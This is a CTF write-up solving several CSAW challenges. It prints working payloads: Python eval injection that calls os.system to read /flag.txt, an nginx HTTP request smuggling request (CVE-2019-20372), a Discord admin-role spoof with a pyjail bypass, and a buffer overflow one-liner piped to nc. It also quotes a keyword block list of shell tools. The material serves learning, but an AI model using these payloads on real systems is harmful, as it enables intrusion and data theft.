Intro: My First Pwnie

This was a simple introductory challenge where the goal was to execute arbitrary commands and read the contents of /flag.txt.

The source code running on the server looks like this:

1try:
2  response = eval(input("What's the password? "))
3  print(f"You entered `{response}`")
4  if response == "password":
5    print("Yay! Correct! Congrats!")
6    quit()
7except:
8  pass

As we can see, there is the input function going directly into eval which means we can run Python code. To execute arbitrary commands, we can use the __import__ built-in function to import the os module and call the system function which executes arbitrary commands on the host system.

Payload

Payload: __import__('os').system('cat /flag.txt')

Flag: csawctf{neigh______}

Intro: Baby’s First

This was a simple introductory challenge that required observing the source code of the application to find forgotten hardcoded secrets inside.

The source code we were provided was:

1if input("What's the password? ") == "csawctf{w3_411_star7_5om3wher3}":
2  print("Correct! Congrats! It gets much harder from here.")
3else:
4  print("Trying reading the code...")

As we can see, the flag is directly on the right-hand side of the if comparison.

Flag: csawctf{w3_411_star7_5om3wher3}

Web: Smug-Dino

This was a simple web challenge that required us to exploit HTTP Request Smuggling to send a request to a local server running on a different port.

The webserver is running nginx 1.17.6 which is vulnerable to CVE-2019-20372.

We can craft a malicious request to exploit this vulnerability by simply adding another request below the original request (there have to be two CRLF sequences \r\n\r\n):

1GET /non-existent HTTP/1.1
2Host: web.csaw.io:3009
3
4
5GET /flag.txt HTTP/1.1
6Host: localhost:3009

Request & Response

As we can see, the flag is returned to us below the original request’s response.

Flag: csawctf{d0nt_smuggl3_Fla6s_!}

Misc: Discord Admin Bot

This was a simple misc challenge that required us to circumvent a Discord bot’s poor access control checks and escape a basic PyJail implementation.

This is the full source code of the Discord bot:

 1import discord
 2from discord.ext import commands, tasks
 3import subprocess
 4
 5from settings import ADMIN_ROLE
 6import os
 7from dotenv import load_dotenv
 8from time import time
 9
10load_dotenv()
11
12TOKEN = os.getenv("TOKEN")
13
14intents = discord.Intents.default()
15intents.messages = True
16bot = commands.Bot(command_prefix="!", intents=intents)
17
18bot.remove_command('help')
19
20SHELL_ESCAPE_CHARS = [":", "curl", "bash", "bin", "sh", "exec", "eval,", "|", "import", "chr", "subprocess", "pty", "popen", "read", "get_data", "echo", "builtins", "getattr"]
21
22COOLDOWN = []
23
24def excape_chars(strings_array, text):
25    return any(string in text for string in strings_array)
26
27def pyjail(text):
28    if excape_chars(SHELL_ESCAPE_CHARS, text):
29        return "No shells are allowed"
30
31    text = f"print(eval(\"{text}\"))"
32    proc = subprocess.Popen(['python3', '-c', text], stdout=subprocess.PIPE, preexec_fn=os.setsid)
33    output = ""
34    try:
35        out, err = proc.communicate(timeout=1)
36        output = out.decode().replace("\r", "")
37        print(output)
38        print('terminating process now')
39        proc.terminate()
40    except Exception as e:
41        proc.kill()
42        print(e)
43
44    if output:
45        return f"```{output}```"
46
47
48@bot.event
49async def on_ready():
50    print(f'{bot.user} successfully logged in!')
51
52@bot.command(name="flag", pass_context=True)
53async def flag(ctx):
54    admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
55
56    if admin_flag:
57        cmds = "Here are some functionalities of the bot\n\n`!add <number1> + <number2>`\n`!sub <number1> - <number2>`"
58        await ctx.send(cmds)
59    else:
60        message = "Only 'admin' can see the flag.😇"
61        await ctx.send(message)
62
63@bot.command(name="add", pass_context=True)
64async def add(ctx, *args):
65    admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
66    if admin_flag:
67        arg = " ".join(list(args))
68        user_id = ctx.message.author.id
69        ans = pyjail(arg)
70        if ans: await ctx.send(ans)
71    else:
72        await ctx.send("no flag for you, you are cheating.😔")
73
74@bot.command(name="sub", pass_context=True)
75async def sub(ctx, *args):
76    admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
77    if admin_flag:
78        arg = " ".join(list(args))
79        ans = pyjail(arg)
80        if ans: await ctx.send(ans)
81    else:
82        await ctx.send("no flag for you, you are cheating.😔")
83
84
85@bot.command(name="help", pass_context=True)
86async def help(ctx, *args):
87    await ctx.send("Try getting `!flag` buddy... Try getting flag.😉")
88
89
90@bot.event
91async def on_command_error(ctx, error):
92    if isinstance(error, commands.CommandNotFound):
93        await ctx.send("Try getting `!flag` buddy... Try getting flag.😉")
94    else:
95        print(f'Error: {error}')
96
97
98bot.run(TOKEN)

As we can see from the source code, the bot is most likely running discord.py which is not important, however, what is important is how the bot is checking whether the sender is an admin.

1admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)

The bot only checks whether the user has a role which is called admin, not a specific Role ID. This means that if we were able to invite the bot to our own server and create an admin role, we would be able to bypass this check.

We can try to invite the bot to our server by using the Bot’s User ID.

First, we have to copy the Bot’s User ID:

Bot’s User ID

Bot’s User ID: 1152454751879962755

Next, we can try to invite the bot to our server using this link:
https://discord.com/oauth2/authorize?client_id={user_id}&scope=bot
https://discord.com/oauth2/authorize?client_id=1152454751879962755&scope=bot

Which has worked beautifully, so, after creating an admin role inside the server, we can give it to ourselves and try to send the !flag command:

Admin Check Bypassed

Now, we just need to bypass the PyJail:

 1SHELL_ESCAPE_CHARS = [":", "curl", "bash", "bin", "sh", "exec", "eval,", "|", "import", "chr", "subprocess", "pty", "popen", "read", "get_data", "echo", "builtins", "getattr"]
 2
 3COOLDOWN = []
 4
 5def excape_chars(strings_array, text):
 6    return any(string in text for string in strings_array)
 7
 8def pyjail(text):
 9    if excape_chars(SHELL_ESCAPE_CHARS, text):
10        return "No shells are allowed"
11
12    text = f"print(eval(\"{text}\"))"
13    proc = subprocess.Popen(['python3', '-c', text], stdout=subprocess.PIPE, preexec_fn=os.setsid)
14    output = ""
15    try:
16        out, err = proc.communicate(timeout=1)
17        output = out.decode().replace("\r", "")
18        print(output)
19        print('terminating process now')
20        proc.terminate()
21    except Exception as e:
22        proc.kill()
23        print(e)
24
25    if output:
26        return f"```{output}```"

Here we can see that our input is being passed into eval, but right before that, there is a check, that stops execution if it finds any of the keywords from the list SHELL_ESCAPE_CHARS inside of our input. Therefore, we had to print the flag without using any of those keywords, which wasn’t that hard in the end.

We can use list comprehension to print the lines without using any of the blacklisted keywords.

List Comprehension Payload

Payload: !sub [line for line in open('/flag.txt')]

Flag: csawctf{Y0u_4r3_th3_fl4g_t0_my_pyj4il_ch4ll3ng3}

Pwn: Puffin

We can open up the binary in dogbolt and take a look at the main function:

 1undefined8 main(void)
 2
 3{
 4  char local_38 [44]; // <-- char array of size 44
 5  int local_c; // <-- target to be changed, next variable on the stack
 6  
 7  setvbuf(stdout,(char *)0x0,2,0);
 8  setvbuf(stdin,(char *)0x0,2,0);
 9  fflush(stdout);
10  fflush(stdin);
11  local_c = 0; // <-- target is assigned 0
12  printf("The penguins are watching: ");
13  fgets(local_38,0x30,stdin); // <-- reads 48 bytes into local_38 which can hold up to 44
14  if (local_c == 0) { // <-- check if target is zero
15    puts(&DAT_0010099e);
16  }
17  else {
18    system("cat /flag.txt");
19  }
20  return 0;
21}

We can see there is a char array local_38 with the size of 44 bytes and right after that there is an integer local_c which is later assigned the value of 0, then user input is read into local_38 using fgets and then local_c is checked for whether it is 0. Therefore, we know the goal is to overflow the buffer which will lead to us overwriting the next variable on the stack which is the local_c variable.

We can achieve that by sending more than 44 characters to the application.

Also, remember that we can send just 44 characters exactly and a new line to trigger the overflow, since the newline counts as well.

Payload: python -c 'print("A"*44)' | nc intro.csaw.io 31140 | grep csawctf{\.\*}

Flag: csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}

Web: Philanthropy

This was a fairly simple web challenge. It required us to hack into a website using techniques like mass assignment. This allowed us to give ourselves membership. We also exploited a lack of access controls on an API endpoint. This helped us gather information on Snake and Otacon.

TODO: To be added

Flag: csawctf{K3pt_y0u_Wa1t1ng_HUh}